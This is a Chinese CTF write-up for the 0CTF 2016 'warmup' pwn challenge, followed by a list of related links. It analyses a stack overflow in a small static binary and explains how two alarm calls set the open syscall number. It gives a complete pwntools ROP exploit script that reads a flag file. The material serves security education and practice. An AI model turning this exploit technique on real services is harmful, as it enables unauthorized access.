题目

一个bin,知道的信息是flag 的路径

  • https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/warumup-2

分析

[anciety@anciety-pc warmup]$ file warmup
warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
[anciety@anciety-pc warmup]$ ./warmup
Welcome to 0CTF 2016!
abcde
Good Luck!

基本上就是读入一个字符串然后输出一个good luck,看来没有什么逻辑,打开IDA看吧,可以发现函数很少,几乎都是sys_call
根据sys_call的传参信息:

eax: 系统调用号
ebx: 参数1
ecx: 参数2
edx: 参数3

可以分析出各个函数的作用,当然ida基本上也把这些直接标出来了。
系统调用分别有:

  • sys_alarm
  • sys_read
  • sys_write

    然后开启的保护只有NX。

    找了下漏洞,很明显,读入了50个字符,但是32个字符的位置就已经超过栈空间了,是个栈溢出,开启了NX,显然需要ROP,但是因为题目的bin非常非常小,又没有使用libc,直接ROP是不可能了,因为没有足够的GADGET,所以需要另辟蹊径。

    通过系统调用,我们可以看到有READ和WRITE,如果还有OPEN,我们就可以通过ROP将文件打开,read,再write到stdout,但是没有open,所以这就是这个题目的难点了。

解决方案

因为没有open,但是还有一个alarm是我们没有用到的,查了一下alarm,大概就是第一次调用alarm之后开始计时,计时完之前如果再次调用alarm就会把剩余的时间以秒为单位作为返回值返回,这就是这个题目的突破口了。

所以最后的方案就是通过调用两次alarm,将eax设置为5(open的系统调用号),然后rop到设置ebx,ecx,edx然后int 80h的位置,这样就可以调用open了,接着的思路就是有了open,然后找两个位置,一个read读path,一个read读内容,最后write把内容写到stdout即可

exp.py:

from pwn import *
import time# 因为没有参赛,只作为练习用,所以远程并没有测试过,路径也不是比赛时候的路径
DEBUG = 1
if DEBUG:p = process("./warmup")
else:p = remote("202.120.7.207", 52608)def read_path(p, sys_read, vuln_func, write_buf):path = '/tmp/flag'payload = 'a' * 32payload += p32(sys_read)payload += p32(vuln_func)payload += p32(0) # fd: stdinpayload += p32(write_buf) # addr: write_bufpayload += p32(len(path)) # len: 50p.send(payload)p.recvline() # Good luck!\np.send(path)def open_path(p, sys_alarm, vuln_func, write_buf, set_ebx_ecx_edx):time.sleep(5)payload = 'a' * 32payload += p32(sys_alarm)payload += p32(set_ebx_ecx_edx)payload += p32(vuln_func)payload += p32(write_buf) # ebx: write_bufpayload += p32(6) # flag: RWXp.send(payload)p.recvline()def read_from(p, sys_read, write_buf2, vuln_func):payload = 'a' * 32payload += p32(sys_read)payload += p32(vuln_func)payload += p32(3) # fd: first file fdpayload += p32(write_buf2) # addr: read to write_buf2payload += p32(30) # len: 30, enough to contain the flagp.send(payload)p.recvline()def get_flag(p, sys_write, write_buf2):payload = 'a' * 32payload += p32(sys_write)payload += p32(0) # won't need to chain anotherpayload += p32(1) # fd: stdoutpayload += p32(write_buf2) # addr: write_buf2payload += p32(30) # len: 30p.send(payload)p.interactive()
def main():global p#gdb.attach(p)vuln_func = 0x0804815aset_ebx_ecx_edx = 0x0804813awrite_buf = 0x8049210write_buf2 = 0x8049300sys_alarm = 0x804810dsys_read = 0x804811dsys_write = 0x8048135p.recvline() # welcome...read_path(p, sys_read, vuln_func, write_buf)open_path(p, sys_alarm, vuln_func, write_buf, set_ebx_ecx_edx)read_from(p, sys_read, write_buf2, vuln_func)get_flag(p, sys_write, write_buf2)if __name__ == "__main__":main()

0ctf-2016 pwn-warmup writeup相关推荐

  1. NCTF2019 -- PWN部分writeup

    pwn学习总结(二) -- PWN部分writeup warmup easy_rop warmup 查看程序防护: 查看反汇编: 已知条件: 开启了溢出检测 开启了沙盒模式,只能调用libc中的ope ...

  2. CSAW CTF 2016 PWN quals-warmup

    CSAW CTF 2016 PWN quals-warmup 原文链接 先对文件有个大致的了解,是64位ELF文件 ☁ csaw ctf 2016 quals-warmup ls exp.py fla ...

  3. [攻防世界 pwn]——warmup

    [攻防世界 pwn]--warmup 题目地址: https://adworld.xctf.org.cn/ 题目: 嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址 ...

  4. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  5. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  6. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  7. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  8. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  9. 2018 百越杯 pwn(format WriteUp)

    看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...

  10. hackme inndy pwn onepunch writeup

    继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...

最新文章

  1. docker配置cdn-容器内可以通过域名访问
  2. 一个链接orcal的标准链接方法
  3. #串口通信超时处理_实现4G无线通信透传的远程通信多组网5个PLC相互交换数据...
  4. python【蓝桥杯vip练习题库】BASIC-16分解质因数(数论 质数分解)
  5. sqlite第三方类库FMDB的使用
  6. 扫描的图片怎么转换成word
  7. 15、MySQL运算符的优先级
  8. android之常用知识点(一)
  9. php查询变量类型,php判断变量类型常用方法
  10. 我们再也看不到“Win 10 破解版下载”
  11. Elasticsearch head插件
  12. iOS searchbar拼音和汉字搜索全国城市
  13. 记录使用 Golang math/rand 随机数遇到的坑
  14. selenium爬取京东的手机分类页面下的商品信息
  15. 右耳Python小作业--快递分拣
  16. keil5选择ST-Link Debugger时候setting点击不了问题
  17. win10设置计算机关机时间,w10怎么设置自动关机_win10电脑设置自动关机的方法
  18. 【XXE技巧拓展】————8、黑夜的猎杀-盲打XXE
  19. linux色彩配置文件,Xfce得到颜色配置文件的支持
  20. 通达信缠论顶底分型选股公式(一笔优化版)

热门文章

  1. Joplin使用坚果云WebDAV同步存在的问题以及解决办法
  2. markdown文本居中
  3. iOS - 毛玻璃效果
  4. 工业镜头视场、倍率、焦距之间的关系
  5. 【 學習心得 笔记 1】大疆技术总监:如何用六年成为一个全能的机器人工程师
  6. Vue3+elementplus搭建通用管理系统实例六:后台主页搭建下
  7. 无法启动计算机打印机服务程序,Windows10下使用打印机时提示打印后台处理程序服务没有运行怎么办...
  8. 美团外卖离线数仓建设实践
  9. Java传输文件使用Base64优化传输速率。
  10. 1521 一维战舰 水题